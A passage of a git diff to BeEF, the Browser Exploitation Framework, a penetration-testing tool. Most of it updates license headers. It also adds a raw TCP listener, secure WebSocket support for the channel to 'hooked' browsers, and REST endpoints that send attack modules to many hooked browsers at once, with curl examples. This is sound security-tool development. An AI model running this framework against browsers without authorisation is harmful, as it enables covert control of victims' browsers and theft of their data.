+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
diff --git a/core/main/models/result.rb b/core/main/models/result.rb
index 481069b86..50e20ed1b 100644
--- a/core/main/models/result.rb
+++ b/core/main/models/result.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
diff --git a/core/main/models/user.rb b/core/main/models/user.rb
index 34d98151e..6b5947bad 100644
--- a/core/main/models/user.rb
+++ b/core/main/models/user.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
diff --git a/core/main/network_stack/api.rb b/core/main/network_stack/api.rb
index 731853f64..1e7c5bae2 100644
--- a/core/main/network_stack/api.rb
+++ b/core/main/network_stack/api.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
diff --git a/core/main/network_stack/assethandler.rb b/core/main/network_stack/assethandler.rb
index 682fb5b14..c17c0689c 100644
--- a/core/main/network_stack/assethandler.rb
+++ b/core/main/network_stack/assethandler.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -29,6 +19,7 @@ module Handlers
# Starts the AssetHandler instance
def initialize
@allocations = {}
+ @sockets = {}
@http_server = BeEF::Core::Server.instance
@root_dir = File.expand_path('../../../../', __FILE__)
end
@@ -59,6 +50,60 @@ module Handlers
print_info "Url [" + url + "] unmounted"
end
+ # use it like: bind_socket("irc","0.0.0.0",6667)
+ def bind_socket(name, host, port)
+ if @sockets[name] != nil
+ print_error "Bind Socket [#{name}] is already listening on [#{host}:#{port}]."
+ else
+ t = Thread.new {
+ server = TCPServer.new(host,port)
+ loop do
+ Thread.start(server.accept) do |client|
+ data = ""
+ recv_length = 1024
+ threshold = 1024 * 512
+ while (tmp = client.recv(recv_length))
+ data += tmp
+ break if tmp.length < recv_length || tmp.length == recv_length
+ # 512 KB max of incoming data
+ break if data > threshold
+ end
+ if data.size > threshold
+ print_error "More than 512 KB of data incoming for Bind Socket [#{name}]. For security purposes client connection is closed, and data not saved."
+ else
+ @sockets[name] = {'thread' => t, 'data' => data}
+ print_info "Bind Socket [#{name}] received [#{data.size}] bytes of data."
+ print_debug "Bind Socket [#{name}] received:\n#{data}"
+ end
+ client.close
+ end
+ end
+ }
+ print_info "Bind socket [#{name}] listening on [#{host}:#{port}]."
+ end
+ end
+
+ def get_socket_data(name)
+ data = nil
+ if @sockets[name] != nil
+ data = @sockets[name]['data']
+ else
+ print_error "Bind Socket [#{name}] does not exists."
+ end
+ data
+ end
+
+ def unbind_socket(name)
+ t = @sockets[name]['thread']
+ if t.alive?
+ print_debug "Thread to be killed: #{t}"
+ Thread.kill(t)
+ print_info "Bind Socket [#{name}] killed."
+ else
+ print_info "Bind Socket [#{name}] ALREADY killed."
+ end
+ end
+
# Builds a URL based on the path and extension, if neither are passed a random URL will be generated
# @param [String] path URL Path defined by bind()
# @param [String] extension Extension defined by bind()
diff --git a/core/main/network_stack/handlers/dynamicreconstruction.rb b/core/main/network_stack/handlers/dynamicreconstruction.rb
index f2a32fb5e..276b63780 100644
--- a/core/main/network_stack/handlers/dynamicreconstruction.rb
+++ b/core/main/network_stack/handlers/dynamicreconstruction.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb
index a24506827..a9274f5b5 100644
--- a/core/main/network_stack/websocket/websocket.rb
+++ b/core/main/network_stack/websocket/websocket.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -27,17 +17,156 @@ module BeEF
@@activeSocket= Hash.new
@@lastalive= Hash.new
@@config = BeEF::Core::Configuration.instance
+ #@@wsopt=nil
MOUNTS = BeEF::Core::Server.instance.mounts
def initialize
- port = @@config.get("beef.http.websocket.port")
+
+
secure = @@config.get("beef.http.websocket.secure")
+ @root_dir = File.expand_path('../../../../../', __FILE__)
+
+ if (secure)
+ ws_secure_options = {:host => "0.0.0.0", :port => @@config.get("beef.http.websocket.secure_port"), :secure => true,
+ :tls_options => {
+ :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"),
+ :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert")
+ }
+ }
+ # @note Start a WSS server socket
+ start_websocket_server(ws_secure_options, true)
+ end
+
+ # @note Start a WS server socket
+ ws_options = {:host => "0.0.0.0", :port => @@config.get("beef.http.websocket.port")}
+ start_websocket_server(ws_options,false)
+
+ # #Thread for websocket-secure
+ # Thread.new {
+ # port = @@config.get("beef.http.websocket.secure_port")
+ # sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
+ # EventMachine.run {
+ #
+ # wsopt = {:host => "0.0.0.0", :port => port, :secure => true,
+ # :tls_options => {
+ # :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"),
+ # :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert")
+ # }
+ # }
+ #
+ #
+ # EventMachine::WebSocket.start(wsopt) do |ws|
+ # begin
+ # print_debug "New WebSocket-secured channel open."
+ # ws.onmessage { |msg|
+ # msg_hash = JSON.parse("#{msg}")
+ # #@note messageHash[result] is Base64 encoded
+ # if (msg_hash["cookie"]!= nil)
+ # print_debug("WebSocket-secured - Browser says helo! WebSocket is running")
+ # #insert new connection in activesocket
+ # @@activeSocket["#{msg_hash["cookie"]}"] = ws
+ # print_debug("WebSocket-secured - activeSocket content [#{@@activeSocket}]")
+ # elsif msg_hash["alive"] != nil
+ # hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"])
+ # unless hooked_browser.nil?
+ # hooked_browser.lastseen = Time.new.to_i
+ # hooked_browser.count!
+ # hooked_browser.save
+ #
+ # #Check if new modules need to be sent
+ # zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
+ # zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
+ #
+ # #@todo antisnatchor:
+ # #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
+ # #Check if new forged requests need to be sent (Requester/TunnelingProxy)
+ # dhook = BeEF::Extension::Requester::API::Hook.new
+ # dhook.requester_run(hooked_browser, '')
+ #
+ # #Check if new XssRays scan need to be started
+ # xssrays = BeEF::Extension::Xssrays::API::Scan.new
+ # xssrays.start_scan(hooked_browser, '')
+ # end
+ # else
+ # #json recv is a cmd response decode and send all to
+ # #we have to call dynamicreconstructor handler camp must be websocket
+ # #print_debug("Received from WebSocket #{messageHash}")
+ # execute(msg_hash)
+ # end
+ # }
+ # rescue Exception => e
+ # print_error "WebSocket-secured error: #{e}"
+ # end
+ # end
+ # }
+ #
+ # }
+ #
+ ##Thread for websocket
+ #Thread.new {
+ # port = @@config.get("beef.http.websocket.port")
+ # sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
+ # EventMachine.run {
+ #
+ # wsopt = {:host => "0.0.0.0", :port => port}
+ #
+ #
+ # EventMachine::WebSocket.start(wsopt) do |ws|
+ # begin
+ # print_debug "New WebSocket channel open."
+ # ws.onmessage { |msg|
+ # msg_hash = JSON.parse("#{msg}")
+ # #@note messageHash[result] is Base64 encoded
+ # if (msg_hash["cookie"]!= nil)
+ # print_debug("WebSocket - Browser says helo! WebSocket is running")
+ # #insert new connection in activesocket
+ # @@activeSocket["#{msg_hash["cookie"]}"] = ws
+ # print_debug("WebSocket - activeSocket content [#{@@activeSocket}]")
+ # elsif msg_hash["alive"] != nil
+ # hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"])
+ # unless hooked_browser.nil?
+ # hooked_browser.lastseen = Time.new.to_i
+ # hooked_browser.count!
+ # hooked_browser.save
+ #
+ # #Check if new modules need to be sent
+ # zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
+ # zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
+ #
+ # #@todo antisnatchor:
+ # #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
+ # #Check if new forged requests need to be sent (Requester/TunnelingProxy)
+ # dhook = BeEF::Extension::Requester::API::Hook.new
+ # dhook.requester_run(hooked_browser, '')
+ #
+ # #Check if new XssRays scan need to be started
+ # xssrays = BeEF::Extension::Xssrays::API::Scan.new
+ # xssrays.start_scan(hooked_browser, '')
+ # end
+ # else
+ # #json recv is a cmd response decode and send all to
+ # #we have to call dynamicreconstructor handler camp must be websocket
+ # #print_debug("Received from WebSocket #{messageHash}")
+ # execute(msg_hash)
+ # end
+ # }
+ # rescue Exception => e
+ # print_error "WebSocket error: #{e}"
+ # end
+ # end
+ # }
+ #}
+
+
+ end
+
+ def start_websocket_server(ws_options, secure)
Thread.new {
sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
- EventMachine.run { #todo antisnatchor: add support for WebSocket secure (new object with different config options, then start)
- EventMachine::WebSocket.start(:host => "0.0.0.0", :port => port) do |ws|
+ EventMachine.run {
+ EventMachine::WebSocket.start(ws_options) do |ws|
begin
- print_debug "New WebSocket channel open."
+ secure ? print_debug("New WebSocketSecure channel open.") : print_debug("New WebSocket channel open.")
ws.onmessage { |msg|
msg_hash = JSON.parse("#{msg}")
#@note messageHash[result] is Base64 encoded
@@ -80,7 +209,6 @@ module BeEF
end
}
}
-
end
#@note retrieve the right websocket channel given an hooked browser session
@@ -115,7 +243,7 @@ module BeEF
handler = data["handler"]
if handler.match(/command/)
BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"],
- @@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results)
+ @@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results)
else #processing results from extensions, call the right handler
data["beefhook"] = hooked_browser
data["results"] = JSON.parse(Base64.decode64(data["result"]))
diff --git a/core/main/rest/api.rb b/core/main/rest/api.rb
index 0f8ce0b7c..9171b2c76 100644
--- a/core/main/rest/api.rb
+++ b/core/main/rest/api.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -29,6 +19,12 @@ module BeEF
end
end
+ module RegisterCategoriesHandler
+ def self.mount_handler(server)
+ server.mount('/api/categories', BeEF::Core::Rest::Categories.new)
+ end
+ end
+
module RegisterLogsHandler
def self.mount_handler(server)
server.mount('/api/logs', BeEF::Core::Rest::Logs.new)
@@ -43,6 +39,8 @@ module BeEF
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler')
+ BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterCategoriesHandler, BeEF::API::Server, 'mount_handler')
+
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAdminHandler, BeEF::API::Server, 'mount_handler')
diff --git a/core/main/rest/handlers/admin.rb b/core/main/rest/handlers/admin.rb
index d36935bfe..6730f2d9e 100644
--- a/core/main/rest/handlers/admin.rb
+++ b/core/main/rest/handlers/admin.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
diff --git a/core/main/rest/handlers/categories.rb b/core/main/rest/handlers/categories.rb
new file mode 100644
index 000000000..88d5e8302
--- /dev/null
+++ b/core/main/rest/handlers/categories.rb
@@ -0,0 +1,39 @@
+#
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+
+module BeEF
+ module Core
+ module Rest
+ class Categories < BeEF::Core::Router::Router
+
+ config = BeEF::Core::Configuration.instance
+
+ before do
+ error 401 unless params[:token] == config.get('beef.api_token')
+ halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
+ headers 'Content-Type' => 'application/json; charset=UTF-8',
+ 'Pragma' => 'no-cache',
+ 'Cache-Control' => 'no-cache',
+ 'Expires' => '0'
+ end
+
+ get '/' do
+ categories = BeEF::Modules::get_categories
+ cats = Array.new
+ i = 0
+ # todo add sub-categories support!
+ categories.each do |category|
+ cat = {"id" => i, "name" => category}
+ cats << cat
+ i += 1
+ end
+ cats.to_json
+ end
+
+ end
+ end
+ end
+end
\ No newline at end of file
diff --git a/core/main/rest/handlers/hookedbrowsers.rb b/core/main/rest/handlers/hookedbrowsers.rb
index 6976dda05..f3384a6ca 100644
--- a/core/main/rest/handlers/hookedbrowsers.rb
+++ b/core/main/rest/handlers/hookedbrowsers.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
@@ -30,12 +20,16 @@ module BeEF
'Expires' => '0'
end
+ #
# @note Return a can of Leffe to the thirsty Bovine Security Team member. AthCon2012 joke /antisnatchor/
+ #
#get "/to/a/pub"
# "BeER please"
#end
+ #
# @note Get online and offline hooked browsers details (like name, version, os, ip, port, ...)
+ #
get '/' do
online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 15)))
offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 15)))
@@ -49,7 +43,9 @@ module BeEF
output.to_json
end
+ #
# @note Get all the hooked browser details (plugins enabled, technologies enabled, cookies)
+ #
get '/:session' do
hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
error 401 unless hb != nil
@@ -76,11 +72,12 @@ module BeEF
details = BeEF::Core::Models::BrowserDetails
{
+ 'id' => hb.id,
+ 'session' => hb.session,
'name' => details.get(hb.session, 'BrowserName'),
'version' => details.get(hb.session, 'BrowserVersion'),
'os' => details.get(hb.session, 'OsName'),
'platform' => details.get(hb.session, 'SystemPlatform'),
- 'session' => hb.session,
'ip' => hb.ip,
'domain' => details.get(hb.session, 'HostName'),
'port' => hb.port.to_s,
diff --git a/core/main/rest/handlers/logs.rb b/core/main/rest/handlers/logs.rb
index 848e1fd2e..6d7d4b109 100644
--- a/core/main/rest/handlers/logs.rb
+++ b/core/main/rest/handlers/logs.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
@@ -30,13 +20,17 @@ module BeEF
'Expires' => '0'
end
+ #
# @note Get all global logs
+ #
get '/' do
logs = BeEF::Core::Models::Log.all()
logs_to_json(logs)
end
+ #
# @note Get hooked browser logs
+ #
get '/:session' do
hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
error 401 unless hb != nil
diff --git a/core/main/rest/handlers/modules.rb b/core/main/rest/handlers/modules.rb
index 7addcf623..44384137e 100644
--- a/core/main/rest/handlers/modules.rb
+++ b/core/main/rest/handlers/modules.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
@@ -30,7 +20,9 @@ module BeEF
'Expires' => '0'
end
+ #
# @note Get all available and enabled modules (id, name, category)
+ #
get '/' do
mods = BeEF::Core::Models::CommandModule.all
@@ -50,7 +42,18 @@ module BeEF
mods_hash.to_json
end
+ get '/search/:mod_name' do
+ mod = BeEF::Core::Models::CommandModule.first(:name => params[:mod_name])
+ result = {}
+ if mod != nil
+ result = {'id' => mod.id}
+ end
+ result.to_json
+ end
+
+ #
# @note Get the module definition (info, options)
+ #
get '/:mod_id' do
cmd = BeEF::Core::Models::CommandModule.get(params[:mod_id])
error 404 unless cmd != nil
@@ -76,20 +79,29 @@ module BeEF
#Content-Type: application/json; charset=UTF-8
#
#{"date":"1331637093","data":"{\"data\":\"text=michele\"}"}
+ #
get '/:session/:mod_id/:cmd_id' do
hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
error 401 unless hb != nil
cmd = BeEF::Core::Models::Command.first(:hooked_browser_id => hb.id,
:command_module_id => params[:mod_id], :id => params[:cmd_id])
error 404 unless cmd != nil
- result = BeEF::Core::Models::Result.first(:hooked_browser_id => hb.id, :command_id => cmd.id)
- error 404 unless result != nil
- {
- 'date' => result.date,
- 'data' => result.data
- }.to_json
+ results = BeEF::Core::Models::Result.all(:hooked_browser_id => hb.id, :command_id => cmd.id)
+ error 404 unless results != nil
+
+ results_hash = {}
+ i = 0
+ results.each do |result|
+ results_hash[i] = {
+ 'date' => result.date,
+ 'data' => result.data
+ }
+ i+=1
+ end
+ results_hash.to_json
end
+ #
# @note Fire a new command module to the specified hooked browser.
# Return the command_id of the executed module if it has been fired correctly.
# Input must be specified in JSON format
@@ -123,6 +135,7 @@ module BeEF
#Content-Length: 35
#
#{"success":"true","command_id":"not_available"}
+ #
post '/:session/:mod_id' do
hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
error 401 unless hb != nil
@@ -141,6 +154,122 @@ module BeEF
error 400 # Bad Request
end
end
+
+ #
+ #@note Fire a new command module to multiple hooked browsers.
+ # Returns the command IDs of the launched module, or 0 if firing got issues.
+ #
+ # POST request body example (for modules that don't need parameters, just remove "mod_params")
+ # {
+ # "mod_id":1,
+ # "mod_params":{
+ # "question":"are you hooked?"
+ # },
+ # "hb_ids":[1,2]
+ # }
+ #
+ # response example: {"1":16,"2":17}
+ #
+ # curl example (alert module with custom text, 2 hooked browsers)):
+ #
+ #curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"mucci?"},"hb_ids":[1,2]}'
+ #-X POST http://127.0.0.1:3000/api/modules/multi?token=2316d82702b83a293e2d46a0886a003a6be0a633
+ #
+ post '/multi_browser' do
+ request.body.rewind
+ begin
+ body = JSON.parse request.body.read
+
+ modk = BeEF::Module.get_key_by_database_id body["mod_id"]
+ error 404 unless modk != nil
+ mod_params = []
+
+ if body["mod_params"] != nil
+ body["mod_params"].each{|k,v|
+ mod_params.push({'name' => k, 'value' => v})
+ }
+ end
+
+ hb_ids = body["hb_ids"]
+ results = Hash.new
+ hb_ids.each do |hb_id|
+ hb = BeEF::Core::Models::HookedBrowser.first(:id => hb_id)
+ if hb == nil
+ results[hb_id] = 0
+ next
+ else
+ cmd_id = BeEF::Module.execute(modk, hb.session, mod_params)
+ results[hb_id] = cmd_id
+ end
+ end
+ results.to_json
+ rescue Exception => e
+ print_error "Invalid JSON input passed to endpoint /api/modules/multi"
+ error 400 # Bad Request
+ end
+ end
+
+ # @note Fire multiple command modules to a single hooked browser.
+ # Returns the command IDs of the launched modules, or 0 if firing got issues.
+ #
+ # POST request body example (for modules that don't need parameters, just pass an empty JSON object like {} )
+ #{ "hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj",
+ # "modules": [
+ # { # test_return_long_string module with custom input
+ # "mod_id":99,
+ # "mod_input":[{"repeat":"10"},{"repeat_string":"ABCDE"}]
+ # },
+ # { # prompt_dialog module with custom input
+ # "mod_id":116,
+ # "mod_input":[{"question":"hooked?"}]
+ # },
+ # { # alert_dialog module without input (using default input, if any)
+ # "mod_id":128,
+ # "mod_input":[]
+ # }
+ # ]
+ # }
+ # response example: {"99":7,"116":8,"128":0} # <- This means the alert_dialog had issues (see return value 0)
+ #
+ # curl example (test_return_long_string and prompt_dialog module with custom inputs)):
+ #
+ #curl -H "Content-Type: application/json; charset=UTF-8" -d '{"hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj",
+ # "modules":[{"mod_id":99,"mod_input":[{"repeat":"10"},{"repeat_string":"ABCDE"}]},{"mod_id":116,"mod_input":[{"question":"hooked?"}]},{"mod_id":128,"mod_input":[]}]}'
+ # -X POST http://127.0.0.1:3000/api/modules/multi_module?token=e640483ae9bca2eb904f003f27dd4bc83936eb92
+ #
+ post '/multi_module' do
+ request.body.rewind
+ begin
+ body = JSON.parse request.body.read
+ hb = BeEF::Core::Models::HookedBrowser.first(:session => body["hb"])
+ error 401 unless hb != nil
+
+ results = Hash.new
+ if body["modules"] != nil
+ body["modules"].each{|mod|
+ mod_id = mod["mod_id"]
+ mod_k = BeEF::Module.get_key_by_database_id mod["mod_id"]
+ if mod_k == nil
+ results[mod_id] = 0
+ next
+ else
+ mod_params = []
+ mod["mod_input"].each{|input|
+ input.each{|k,v|
+ mod_params.push({'name' => k, 'value' => v})
+ }
+ }
+ cmd_id = BeEF::Module.execute(mod_k, hb.session, mod_params)
+ results[mod_id] = cmd_id
+ end
+ }
+ end
+ results.to_json
+ rescue Exception => e
+ print_error "Invalid JSON input passed to endpoint /api/modules/multi"
+ error 400 # Bad Request
+ end
+ end
end
end
end
diff --git a/core/main/router/api.rb b/core/main/router/api.rb
index 7bad31f33..3d2bc78d5 100644
--- a/core/main/router/api.rb
+++ b/core/main/router/api.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
diff --git a/core/main/router/router.rb b/core/main/router/router.rb
index e6ca7151b..958d29117 100644
--- a/core/main/router/router.rb
+++ b/core/main/router/router.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
diff --git a/core/main/server.rb b/core/main/server.rb
index d15ad9198..c0ddaee47 100644
--- a/core/main/server.rb
+++ b/core/main/server.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
